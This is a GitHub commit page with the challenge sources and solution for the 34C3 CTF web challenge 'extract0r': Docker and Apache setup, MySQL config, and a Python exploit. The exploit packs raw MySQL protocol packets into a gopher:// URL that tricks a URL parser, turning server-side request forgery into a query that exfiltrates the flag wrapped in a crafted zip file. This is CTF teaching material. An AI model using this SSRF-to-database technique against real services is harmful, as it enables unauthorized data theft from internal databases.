Skip to content

Commit 5b9ec66

Browse files
committed
initial commit
1 parent a91f2af commit 5b9ec66

File tree

224 files changed

+30457
-2
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

224 files changed

+30457
-2
lines changed

.gitignore

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
*.pyc
2+
__pycache__
3+
*.sqlite3

README.md

+14-2
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,14 @@
1-
# 34c3ctf
2-
Challenge Sources & Exploits for the 34C3 CTF
1+
# Challenge Sources & Exploits for the 34C3 CTF
2+
3+
Challenges:
4+
5+
* minbashmaxfun - misc
6+
* urlstorage - web
7+
* extract0r - web
8+
9+
Junior Challenges:
10+
* cyberms - crypto
11+
* megalal - crypto
12+
* babybash - misc
13+
* pizzagate - web
14+
* quaker - web

extract0r/000-default.conf

+59
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
<VirtualHost *:80>
2+
# The ServerName directive sets the request scheme, hostname and port that
3+
# the server uses to identify itself. This is used when creating
4+
# redirection URLs. In the context of virtual hosts, the ServerName
5+
# specifies what hostname must appear in the request's Host: header to
6+
# match this virtual host. For the default virtual host (this file) this
7+
# value is not decisive as it is used as a last resort host regardless.
8+
# However, you must set it for any further virtual host explicitly.
9+
#ServerName www.example.com
10+
11+
12+
ServerAdmin webmaster@localhost
13+
DocumentRoot /var/www/html
14+
php_admin_flag engine off
15+
16+
<Location /index.php>
17+
AllowOverride None
18+
Require all granted
19+
php_admin_flag engine on
20+
</Location>
21+
22+
<Directory /var/www/html>
23+
Options -Indexes
24+
AllowOverride None
25+
Require all granted
26+
php_admin_flag engine off
27+
</Directory>
28+
29+
<Directory /var/www/html/files/>
30+
Options -Indexes
31+
AllowOverride None
32+
Require all granted
33+
php_admin_flag engine off
34+
</Directory>
35+
36+
<Directory /var/www/html/files/*/>
37+
Options Indexes FollowSymLinks
38+
AllowOverride None
39+
Require all granted
40+
php_admin_flag engine off
41+
</Directory>
42+
43+
# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
44+
# error, crit, alert, emerg.
45+
# It is also possible to configure the loglevel for particular
46+
# modules, e.g.
47+
#LogLevel info ssl:warn
48+
49+
ErrorLog ${APACHE_LOG_DIR}/error.log
50+
CustomLog ${APACHE_LOG_DIR}/access.log combined
51+
52+
# For most configuration files from conf-available/, which are
53+
# enabled or disabled at a global level, it is possible to
54+
# include a line for only one particular virtual host. For example the
55+
# following line enables the CGI configuration for this host only
56+
# after it has been globally disabled with "a2disconf".
57+
#Include conf-available/serve-cgi-bin.conf
58+
</VirtualHost>
59+

extract0r/Dockerfile

+32
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
FROM ubuntu:17.10
2+
3+
RUN bash -c "debconf-set-selections <<< 'mysql-server mysql-server/root_password password FUCKmyL1f3AZiwqecq'"
4+
RUN bash -c "debconf-set-selections <<< 'mysql-server mysql-server/root_password_again password FUCKmyL1f3AZiwqecq'"
5+
6+
RUN apt-get -y update && apt-get -y install curl wget zip
7+
8+
# apache & php & stuff
9+
RUN apt-get -y install apache2 apt-transport-https curl wget zip php php-curl php-pclzip libapache2-mod-php mysql-server php-mysql p7zip-full vim-common cron
10+
11+
ENV WEBROOT /var/www/html
12+
ENV MYSQL_USER=mysql
13+
RUN rm /var/www/html/index.html
14+
15+
ADD mysqld.cnf /etc/mysql/mysql.conf.d/mysqld.cnf
16+
17+
ADD dump.sql /tmp/
18+
RUN service mysql start; mysql -u root -pFUCKmyL1f3AZiwqecq < /tmp/dump.sql && rm /tmp/dump.sql
19+
20+
# challenge files and configs
21+
RUN (crontab -l ; echo "*/5 * * * * rm -r /var/www/html/files/* ; touch /var/www/html/files/index.php";\
22+
echo "*/5 * * * * rm -r /tmp/* && touch /tmp/index.php") | crontab -
23+
ADD 000-default.conf /etc/apache2/sites-enabled/000-default.conf
24+
ADD webroot/ /var/www/html/
25+
RUN touch /tmp/index.php
26+
RUN useradd extract0r -m
27+
ADD files/create_a_backup_of_my_supersecret_flag.sh /home/extract0r/
28+
RUN chown -R www-data /var/www/html/files && \
29+
chown extract0r:extract0r /home/extract0r/create_a_backup_of_my_supersecret_flag.sh
30+
31+
32+
CMD service mysql start; service cron start; echo 'INSERT INTO flag.flag VALUES("34C3_you_Extr4cted_the_unExtract0ble_plUs_you_knoW_s0me_SSRF");' | mysql -u root -pFUCKmyL1f3AZiwqecq; service apache2 start; /bin/bash

extract0r/README.md

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
# extract0r - web - medium
2+
3+
> Found this great new extraction service. Enjoy!
4+
5+
> Difficulty: medium
6+

extract0r/build_docker.sh

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
#!/bin/bash
2+
docker build -t eboda/extract0r .

extract0r/dump.sql

+12
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
CREATE DATABASE IF NOT EXISTS `flag` /*!40100 DEFAULT CHARACTER SET utf8 */;
2+
USE `flag`;
3+
4+
DROP TABLE IF EXISTS `flag`;
5+
CREATE TABLE `flag` (
6+
`flag` VARCHAR(100)
7+
);
8+
9+
10+
CREATE USER 'm4st3r_ov3rl0rd'@'localhost';
11+
GRANT USAGE ON *.* TO 'm4st3r_ov3rl0rd'@'localhost';
12+
GRANT SELECT ON `flag`.* TO 'm4st3r_ov3rl0rd'@'localhost';

extract0r/exploit/__init__.py

Whitespace-only changes.

extract0r/exploit/exploit.py

+51
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
#!/bin/bash
2+
3+
import struct
4+
import zip_tools
5+
from binascii import hexlify
6+
7+
8+
# make a 100 dummy character string
9+
# we will rpad flag to 100 characters (this is needed since actual flag length is unknown, you
10+
# could just bruteforce it tohugh i guess...)
11+
flag_dummy = b"B"*100
12+
13+
payload = zip_tools.create_zip(b"gimme_flag", flag_dummy)
14+
# print(''.join(map(chr,payload)))
15+
# exit()
16+
17+
prefix = bytes(payload.split(flag_dummy)[0])
18+
suffix = bytes(payload.split(flag_dummy)[1])
19+
20+
21+
sql_cmd = b"select concat(cast(0x" + hexlify(prefix) + b" as binary), rpad(flag, 100, 'A'), cast(0x" + hexlify(suffix) + b" as binary)) from flag.flag-- -"
22+
23+
auth = bytearray([
24+
0x48, 0x0, 0x0, # length
25+
0x1, # seqid
26+
0x85, 0xa6, 0x3f, 0x20, 0, 0, 0, 0x1, 0x21, 0, 0,
27+
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
28+
0, 0, 0, 0, 0
29+
] + list(b'm4st3r_ov3rl0rd') + [ # mysql user
30+
0, 0, # pass length & pass
31+
] + list(b'mysql_native_password') + [
32+
0, 0,
33+
])
34+
35+
36+
def make_cmd(cmd):
37+
length = struct.pack("<I", len(cmd) + 2)[:3]
38+
39+
return length + bytearray([
40+
0x0, # seqid
41+
0x3, # select query
42+
]) + cmd
43+
def encode(s):
44+
return ''.join(map(lambda x: "%{:02x}".format(x), list(s)))
45+
46+
47+
print((b"gopher://foo@[cafebabe.cf]@yolo.com:3306/A" + bytes(encode(auth + make_cmd(sql_cmd) + b"FOOOOOOOOOOOOBAR"),"utf-8")).decode())
48+
49+
50+
51+

extract0r/exploit/zip_tools.py

+65
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
eocd_sig = b"\x50\x4b\x05\x06"
2+
cd_fh_sig = b"\x50\x4b\x01\x02"
3+
local_fh_sig = b"\x50\x4b\x03\x04"
4+
from struct import pack
5+
6+
7+
8+
def create_zip(name, data):
9+
local_fh = zip_local_fileheader(len(name), name, len(data), len(data), data)
10+
cd_fh = zip_cd_fileheader(len(name), name, len(data), len(data), 0)
11+
eocd = zip_eocd(len(local_fh) , len(cd_fh))
12+
return local_fh + cd_fh + eocd
13+
14+
15+
def zip_eocd(cd_offset, cd_size, disk_no=0, disk_no_cd=0, disk_entries=1, total_entries=1, comment_len=0, comment=b""):
16+
return eocd_sig + pack("<HHHHIIH",
17+
disk_no,
18+
disk_no_cd,
19+
disk_entries,
20+
total_entries,
21+
cd_size,
22+
cd_offset,
23+
comment_len) + comment
24+
25+
26+
def zip_cd(list_file_headers):
27+
res = "";
28+
for file_header in list_file_headers:
29+
res += file_header
30+
return res
31+
32+
33+
def zip_cd_fileheader(file_name_len,file_name,compressed_size, uncompressed_size, local_header_offset, version=0x31e, version_needed=0xa, flags=0, compression=0, crc32=0, modtime=0, moddate=0, extra_field_len=0, file_comment_len=0, disk_start=0, internal_attr=0,external_attr=0, extra_field=b"", file_comment=b""):
34+
return cd_fh_sig + pack("<HHHHHHIIIHHHHHII",
35+
version,
36+
version_needed,
37+
flags,
38+
compression,
39+
modtime,
40+
moddate,
41+
crc32,
42+
compressed_size,
43+
uncompressed_size,
44+
file_name_len,
45+
extra_field_len,
46+
file_comment_len,
47+
disk_start,
48+
internal_attr,
49+
external_attr,
50+
local_header_offset) + file_name + extra_field + file_comment
51+
52+
def zip_local_fileheader(file_name_len, file_name, compressed_size, uncompressed_size, data, version=0xa, flags=0, compression=0, modtime=0, moddate=0, crc32=0, extra_field_len=0, extra_field=b""):
53+
return local_fh_sig + pack("<HHHHHIIIHH",
54+
version,
55+
flags,
56+
compression,
57+
modtime,
58+
moddate,
59+
crc32,
60+
compressed_size,
61+
uncompressed_size,
62+
file_name_len,
63+
extra_field_len) + file_name + extra_field + data
64+
65+
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
#!/bin/sh
2+
echo "[+] Creating flag user and flag table."
3+
mysql -h 127.0.0.1 -uroot -p <<'SQL'
4+
CREATE DATABASE IF NOT EXISTS `flag` /*!40100 DEFAULT CHARACTER SET utf8 */;
5+
USE `flag`;
6+
7+
DROP TABLE IF EXISTS `flag`;
8+
CREATE TABLE `flag` (
9+
`flag` VARCHAR(100)
10+
);
11+
12+
13+
CREATE USER 'm4st3r_ov3rl0rd'@'localhost';
14+
GRANT USAGE ON *.* TO 'm4st3r_ov3rl0rd'@'localhost';
15+
GRANT SELECT ON `flag`.* TO 'm4st3r_ov3rl0rd'@'localhost';
16+
SQL
17+
18+
echo -n "[+] Please input the flag:"
19+
read flag
20+
21+
mysql -h 127.0.0.1 -uroot -p <<SQL
22+
INSERT INTO flag.flag VALUES ('$flag');
23+
SQL
24+
25+
echo "[+] Flag was succesfully backed up to mysql!"

extract0r/flag

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
34C3_you_Extr4cted_the_unExtract0ble_plUs_you_knoW_s0me_SSRF

extract0r/mysqld.cnf

+105
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
#
2+
# The MySQL database server configuration file.
3+
#
4+
# You can copy this to one of:
5+
# - "/etc/mysql/my.cnf" to set global options,
6+
# - "~/.my.cnf" to set user-specific options.
7+
#
8+
# One can use all long options that the program supports.
9+
# Run program with --help to get a list of available options and with
10+
# --print-defaults to see which it would actually understand and use.
11+
#
12+
# For explanations see
13+
# http://dev.mysql.com/doc/mysql/en/server-system-variables.html
14+
15+
# This will be passed to all mysql clients
16+
# It has been reported that passwords should be enclosed with ticks/quotes
17+
# escpecially if they contain "#" chars...
18+
# Remember to edit /etc/mysql/debian.cnf when changing the socket location.
19+
20+
# Here is entries for some specific programs
21+
# The following values assume you have at least 32M ram
22+
23+
[mysqld_safe]
24+
socket = /var/run/mysqld/mysqld.sock
25+
nice = 0
26+
27+
[mysqld]
28+
#
29+
# * Basic Settings
30+
#
31+
user = mysql
32+
pid-file = /var/run/mysqld/mysqld.pid
33+
socket = /var/run/mysqld/mysqld.sock
34+
port = 3306
35+
basedir = /usr
36+
datadir = /var/lib/mysql
37+
tmpdir = /tmp
38+
lc-messages-dir = /usr/share/mysql
39+
skip-external-locking
40+
#
41+
# Instead of skip-networking the default is now to listen only on
42+
# localhost which is more compatible and is not less secure.
43+
bind-address = 127.0.0.1
44+
#
45+
# * Fine Tuning
46+
#
47+
max_execution_time = 100
48+
key_buffer_size = 16M
49+
max_allowed_packet = 16M
50+
thread_stack = 192K
51+
thread_cache_size = 8
52+
# This replaces the startup script and checks MyISAM tables if needed
53+
# the first time they are touched
54+
myisam-recover-options = BACKUP
55+
#max_connections = 100
56+
#table_cache = 64
57+
#thread_concurrency = 10
58+
#
59+
# * Query Cache Configuration
60+
#
61+
query_cache_limit = 1M
62+
query_cache_size = 16M
63+
#
64+
# * Logging and Replication
65+
#
66+
# Both location gets rotated by the cronjob.
67+
# Be aware that this log type is a performance killer.
68+
# As of 5.1 you can enable the log at runtime!
69+
#general_log_file = /var/log/mysql/mysql.log
70+
#general_log = 1
71+
#
72+
# Error log - should be very few entries.
73+
#
74+
log_error = /var/log/mysql/error.log
75+
#
76+
# Here you can see queries with especially long duration
77+
#log_slow_queries = /var/log/mysql/mysql-slow.log
78+
#long_query_time = 2
79+
#log-queries-not-using-indexes
80+
#
81+
# The following can be used as easy to replay backup logs or for replication.
82+
# note: if you are setting up a replication slave, see README.Debian about
83+
# other settings you may need to change.
84+
#server-id = 1
85+
#log_bin = /var/log/mysql/mysql-bin.log
86+
expire_logs_days = 10
87+
max_binlog_size = 100M
88+
#binlog_do_db = include_database_name
89+
#binlog_ignore_db = include_database_name
90+
#
91+
# * InnoDB
92+
#
93+
# InnoDB is enabled by default with a 10MB datafile in /var/lib/mysql/.
94+
# Read the manual for more InnoDB related options. There are many!
95+
#
96+
# * Security Features
97+
#
98+
# Read the manual, too, if you want chroot!
99+
# chroot = /var/lib/mysql/
100+
#
101+
# For generating SSL certificates I recommend the OpenSSL GUI "tinyca".
102+
#
103+
# ssl-ca=/etc/mysql/cacert.pem
104+
# ssl-cert=/etc/mysql/server-cert.pem
105+
# ssl-key=/etc/mysql/server-key.pem

0 commit comments

Comments
 (0)